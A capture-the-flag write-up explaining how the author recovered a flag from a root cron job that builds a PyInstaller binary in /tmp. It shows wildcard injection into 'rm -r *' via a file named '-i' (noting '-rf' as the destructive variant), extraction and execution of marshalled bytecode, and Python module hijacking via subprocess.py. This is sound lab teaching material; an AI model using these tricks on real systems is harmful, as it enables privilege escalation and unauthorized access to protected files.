# GutHib Actions

This was a very simple Misc challenge with an obvious intended solution, but I solved it using a (relatively more complex) unintended solution. I thought I'd share it here for people to enjoy :)

## Challenge Premise

The challenge revolves around the `root` user running a `build.sh` script every minute.&#x20;

The script runs a `build.py` file, which calls on [`pyinstaller`](https://pyinstaller.org/en/stable/index.html) to build an executable from the `/root/flag.py` file, and store it in the `/root` directory.

Finally, the `/tmp` directory is cleared with `rm -r *`, which deletes all build files generated by `pyinstaller`.

{% tabs %}
{% tab title="Dockerfile" %}

```docker
FROM ubuntu:22.04

RUN apt-get update &&  \
    apt-get install -y python3 python3-pip openssh-server cron && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

RUN pip install pyinstaller && \
    pip cache purge

RUN useradd -m -c 'Restricted guest account' guest && \
    echo 'guest:guest' | chpasswd

RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config

RUN (crontab -l ; echo "* * * * * /root/build.sh") | crontab


COPY ./flag.py /root/flag.py
COPY ./build.sh /root/build.sh
COPY ./build.py /root/build.py
COPY ./start.sh /root/start.sh

RUN chown -R guest /home/guest && \
    chmod -R 700 /root && \
    chmod -R 777 /home/guest
EXPOSE 1337
ENTRYPOINT /root/start.sh

```

{% endtab %}

{% tab title="build.sh" %}

```bash
#!/bin/bash
cd /tmp  # dump all the temp files Pyinstaller may generate in the temp dir
cp /root/build.py build.py
python3 build.py >/dev/null 2>&1  # build flag printing binary
rm -r *
```

{% endtab %}

{% tab title="build.py" %}

```python
import subprocess
subprocess.call(['pyinstaller',  '-F',  '--distpath', '/root', '/root/flag.py'])
```

{% endtab %}
{% endtabs %}

## Unintended Solution

It might not be immediately obvious, but there is actually a vulnerability in the `build.sh` file. The `rm -r *` uses [**wildcard expansion**](https://frippery.org/busybox/globbing.html), which is *wild*ly dangerous.

In Unix, wildcards are expanded by the shell and any matching filenames are passed as arguments to the program being run. This means that if there is a file by the name `-rf`, the `rm *` command would automatically be expanded to `rm -rf` - dangerous indeed!

In this case, we do *not* want everything from the `/tmp` directory to be removed after the script is run, because the PyInstaller build files contain valuable information. We can place a file with the name `-i` in the `/tmp` directory to achieve this. According to the [man page](https://linuxcommand.org/lc3_man_pages/rm1.html):

```
-i     prompt before every removal
```

Therefore, by doing this:

```bash
$ echo "asdf" > "-i"
$ ls -la
total 12
-rw-rw-r-- 1 guest guest    5 Dec  5 18:00 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:00 .
drwxr-xr-x 1 root  root  4096 Dec  5 17:55 ..
```

we are effectively "hanging" the cronjob script at the `rm -r *` command, since the script has no way of answering the prompt that appears:

```
rm: descend into directory 'build'?
```

After the script runs, we have access to PyInstaller's build directory, where PyInstaller creates the files necessary for building the final executable generated in the `distpath`.

```bash
$ ls -la
total 24
-rw-rw-r-- 1 guest guest    5 Dec  5 18:04 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:07 .
drwxr-xr-x 1 root  root  4096 Dec  5 18:02 ..
drwxr-xr-x 3 root  root  4096 Dec  5 18:06 build
-rwx------ 1 root  root   101 Dec  5 18:07 build.py
-rw-r--r-- 1 root  root   814 Dec  5 18:06 flag.spec
```

Now that we have access to the `build` directory, let's take a look at what's inside.

```bash
$ ls -la build/flag
total 8468
drwxr-xr-x 3 root root    4096 Dec  5 18:06 .
drwxr-xr-x 3 root root    4096 Dec  5 18:06 ..
-rw-r--r-- 1 root root   10832 Dec  5 18:06 Analysis-00.toc
-rw-r--r-- 1 root root    4147 Dec  5 18:06 EXE-00.toc
-rw-r--r-- 1 root root    4052 Dec  5 18:06 PKG-00.toc
-rw-r--r-- 1 root root  859850 Dec  5 18:06 PYZ-00.pyz
-rw-r--r-- 1 root root    6937 Dec  5 18:06 PYZ-00.toc
-rw-r--r-- 1 root root 1066256 Dec  5 18:06 base_library.zip
-rw-r--r-- 1 root root 6457686 Dec  5 18:06 flag.pkg
drwxr-xr-x 2 root root    4096 Dec  5 18:06 localpycs
-rw-r--r-- 1 root root    1759 Dec  5 18:06 warn-flag.txt
-rw-r--r-- 1 root root  231842 Dec  5 18:06 xref-flag.html
```

As explained in the [documentation](https://pyinstaller.org/en/stable/advanced-topics.html?highlight=.pkg#using-pyi-archive-viewer), the `flag.pkg` is a ZlibArchive containing compressed `.pyc` files containing the bundled Python modules.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FMLIMkTb8VqB0UmJQNIIj%2Fimage.png?alt=media&#x26;token=697228ea-3f43-45e3-bbef-220d801f7516" alt=""><figcaption></figcaption></figure>

We can inspect its contents using `pyi-archive_viewer`, which is installed together with PyInstaller.

```python
$ pyi-archive_viewer build/flag/flag.pkg
 pos, length, uncompressed, iscompressed, type, name
[(0, 205, 271, 1, 'm', 'struct'),
 (205, 4225, 9058, 1, 'm', 'pyimod01_archive'),
 (4430, 7416, 17526, 1, 'm', 'pyimod02_importers'),
 (11846, 1772, 3639, 1, 'm', 'pyimod03_ctypes'),
 (13618, 594, 849, 1, 's', 'pyiboot01_bootstrap'),
 (14212, 450, 678, 1, 's', 'pyi_rth_inspect'),
 (14662, 105, 126, 1, 's', 'flag'),
 ...
```

We can then extract the `flag` file using the `X` command.

{% code overflow="wrap" %}

```
? X
extract name? flag
to filename? flag
?
```

{% endcode %}

Although we could quite easily see the flag in the hexdump of the extracted file at this point, I was still slightly confused by the file format, as the magic bytes were not recognised by Python bytecode disassemblers.

The extracted file was in fact the original Python bytecode, and *not* a `.pyc` file as was suggested by the PyInstaller documentation. The key difference is that a `.pyc` file contains:

* A four-byte magic number,
* A four-byte modification timestamp, and
* A marshalled code object.

And the extracted file contains *only* the marshalled code object (also see this [issue](https://github.com/pyinstaller/pyinstaller/issues/3435)). At this point we can just use Python's `marshall` module to run the code.

```python
>>> import marshal
>>> exec(marshal.load(open('flag', 'rb')))
STF22{5up3r_5U5_5y5t3m_m0du13!_a0d66b3e608fe2b38ddf77d679fbde6b74e231f54c469a081f04dc65004360f8}
```

## Intended Solution

The intended solution was just to override the `subprocess` module by writing to a `subprocess.py` file. I actually thought of this halfway through, but I was already too far in with the unintended solution not to see it through.

Anyway, this was a fun challenge! At least I learnt a thing or two about PyInstaller.
